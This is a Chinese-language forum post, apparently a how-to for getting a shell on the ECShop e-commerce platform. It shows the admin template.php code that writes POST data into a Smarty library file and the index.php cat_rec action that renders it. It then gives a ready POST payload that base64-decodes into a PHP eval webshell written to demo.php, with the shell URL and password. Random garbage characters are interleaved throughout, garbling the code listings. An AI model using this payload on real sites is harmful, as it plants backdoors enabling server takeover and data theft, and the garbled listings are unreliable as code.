首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
, J4 x4 G5 g4 C" g z( B6 ?! b- ?) @9 G+ r4 |
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了/ |2 Z+ o8 O; J& D' k8 H% v4 x
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
- u1 V5 Z- C* a/ o1 Q$ H0 Padmin/template.php
: ~: t. o2 n( e3 G& ~: Z5 R: n$ Y( Y; Q* R/ I# O; \, M
1 if ($_REQUEST['act'] == 'update_library') 9 J+ l! t6 r: T- w( r8 h0 p
+ Q7 Y$ o3 T) R# T" E7 j+ G2 : A* P. P3 m8 c7 p1 w! ?
# v3 L: v4 \7 |6 T% Y3 { # H6 s6 x6 T2 M( ]; J* H- ?
8 j) E5 r% m- \( k5 p |" b" l. a4 check_authz_json('library_manage'); 8 q: `/ M; g; ~2 P! B; t
; P* H+ E5 `1 g9 ~) Y4 Z6 D$ ~
5 : D/ O H$ W& L, y# @0 g& W
/ k) Y7 Y0 g8 ]! V6 $html = stripslashes(json_str_iconv($_POST['html'])); 8 M K3 U# w- j
9 v) o/ ?9 \. \
7 + R* y8 S' {- b; g) m' l6 Q
; Q& c; F( j. w" s* P7 o8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 6 }9 o6 q& T! z8 i7 u4 d ~1 H
# a9 n/ _/ S4 [& y! c. h' N
9 1 L0 t3 h/ c1 q) R+ c" E
# e6 X: P3 S, w8 l2 `- E: K. u10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 : x' t+ Q& p: D# E- ^3 [8 u
2 A1 c" H9 c+ P0 ]2 r a; T7 X
11
, H) n. c* w% p! H
V' t) O4 m# ]6 J12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); $ W! j& \7 y: [; P
1 n& {% ?9 Q3 b4 s0 p13
3 e$ Q# m6 F0 q! y& [! u( i+ J6 }; ]( o9 f" I: y
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 : @# q) a0 C& P2 N8 M4 f) D
* Y$ p# p8 B1 T- N$ v
15 { 7 [; j7 h" K# f7 R3 {0 R. _
7 P8 d; V, ]* E& Y
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
7 y* l3 H; G. m. G4 \
, d( y- v! T0 \& e/ l17 make_json_result('', $_LANG['update_lib_success']);
, ]6 j E7 S5 K4 [, ~8 `0 r* \7 O" ]) M: D6 u& l4 d
18 } * D4 M8 y' R# L5 |. \: k. Z
6 F( R. m: A! j0 Z" \- B
19 else
x! f. N4 z. ?" \7 V: O7 W* Y6 v* Y& ]3 E: o& p5 a
20 { / C' c1 v- `$ i( o4 G$ z' K4 |
! T' F J9 Z. q( ]; F; g. ]& u21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); " `# M0 z( N% o
+ |# \! t! D X7 d: j
22 } - a+ P& r4 I- O
( b+ ]: C" L, }3 Q' Y6 o6 B
23 }
& r( X) a0 E& a0 z% O5 t2 j, ^; U! S3 G
那么找个比较方便调用了模板的文件$ Z4 X2 p* f* e ^. N+ t* j
index.php
, t7 y. o/ x7 w) P. |* Q$ g+ I8 N2 J0 X2 h3 T5 L! [7 J$ G% a# H
1 if ($act == 'cat_rec') 9 D2 I% t p/ Z% e: |( ?8 m& _2 |
9 j8 d: g5 ?' e3 T# d$ [
2 % n2 M9 d" [% w* G8 z; }# |
$ b2 E/ c; E2 [' J- } a+ O/ G3 {
# [) l% |# w7 N N" s: V/ k( H( o, |
4 1 t! A) P$ b, c5 @( S9 a8 n
2 e" v& d t& N c) e5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); ; \& l% W+ f. v2 X
0 \) L" S% q4 U5 M9 s6
8 p: t9 v; l+ O! N. O
5 ~" O! ~4 Z+ i* j8 N& G7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
( Q* G j- Q. m9 g3 c# ?! J
# z f$ m9 w6 n+ r9 [9 \2 n8 ; G/ I$ i" M" V7 j' E! F
& g. U; _" y* `" }; R9 ^
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; W% K+ ^7 L4 G3 [/ z
( Y& ^* Q" B, ]1 |4 p1 s# e
10 * J0 Y0 P! T, V7 }6 e0 n" ?8 m
; M% b2 [* M2 K+ Z7 X# j/ o2 ^& j$ o
11 include_once('includes/cls_json.php');
- ?" Z O" K# @/ F* y& F1 M
) v* D* Q& L* B. Y12
$ k% R: D6 Y1 U4 T# s* K6 ]9 P$ Z# X+ G, k, F
13 $json = new JSON; ! k' B6 O) R6 S5 U
- `9 _! w% k/ i2 X- o14
: b/ o* D$ A0 l: z: ]+ K9 G4 a, K- f+ c! s; ]( X
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); ; ?/ ?* U% F# b1 v9 m" i/ _* i
1 H$ Y' F6 M2 d( e/ K
16 9 p% }4 v. Y3 _ T9 P3 [
% h% `% O' p* x' p) h+ k17 $children = get_children($cat_id);
( I) `' z! `$ b9 k# k i# p7 Y/ I C q: w% j2 x
18 1 I- ^) m& {3 o- }5 `% H2 l
/ Y2 D( J8 ?- \# w19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 5 `0 B# z7 Y- p2 B% @
* O8 V# H7 w: a# y% c$ h4 S
20 2 k. ^. s( G5 h6 F, L8 a- K0 K
% i! a! e/ l/ b* h& P; N
21 $smarty->assign('cat_rec_sign', 1); * }' X. R9 g2 [3 b! N% `: W
6 W* Q- b6 H% X: F; C22
* }7 ^7 p. x# O7 h9 Y9 w! l' w+ V" s7 [* |5 r
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best ( i! e5 C6 i: N& ?& z
5 E6 K& N0 x+ E7 E
24 8 b; S" P2 ?7 d3 Y$ R$ [" y
: L( f9 J: y) X" o5 U# w0 R25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 8 O+ K* q+ Q$ T6 s G' O' [7 b+ H+ H: h
, C# j6 P) x3 ]' x# @26 6 h" A5 \6 y7 j9 v; y# A
0 s0 J1 c( F" m- x7 v. H
27 echo $rec_array[$rec_type]; 3 s" `% A$ e& Q$ H- t3 Z$ s
" R* Z h7 j- v- X' [* x28 , Q7 n; X5 h# w* a
8 @8 ~2 f. e* e' r2 B0 `29 die($json->encode($result)); ' h+ X7 |, p( q( r5 w L Z
1 s4 D2 X* Q: x9 a30
+ a% t* f, h8 [ w* j1 b# J) [0 F: m* t9 h. \2 y) w! g
31 }
q5 E+ r& Q; p8 ?- b/ k3 { L! L, c! y6 f/ h4 m, x
那么就有利用方法了
% D" b# ~& b4 \, zpost包到http://localhost/ec/admin/template.php?act=update_library' J/ a9 K1 t. x% K* E l
Post内容:8 J# Q: f p, u) y1 T
! o6 F+ \/ A6 o% W# a& d
- a/ A9 {! o" y# s% Z& L& t* N1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} / M. l" A$ d7 t- |( L
9 l- ~& \& w5 z2 M; r然后访问http://localhost/ec/index.php?act=cat_rec
y' v5 z' v( ]' ^' y4 W4 }6 d2 D, y! k& j
shel地址:http://localhost/ec/demo.php4 h+ B' F% ]% f! {
密码c+ |. C0 z0 i' p4 z/ X" X B9 r5 j
' H9 h1 g: ?4 C* R3 }6 E( e6 } |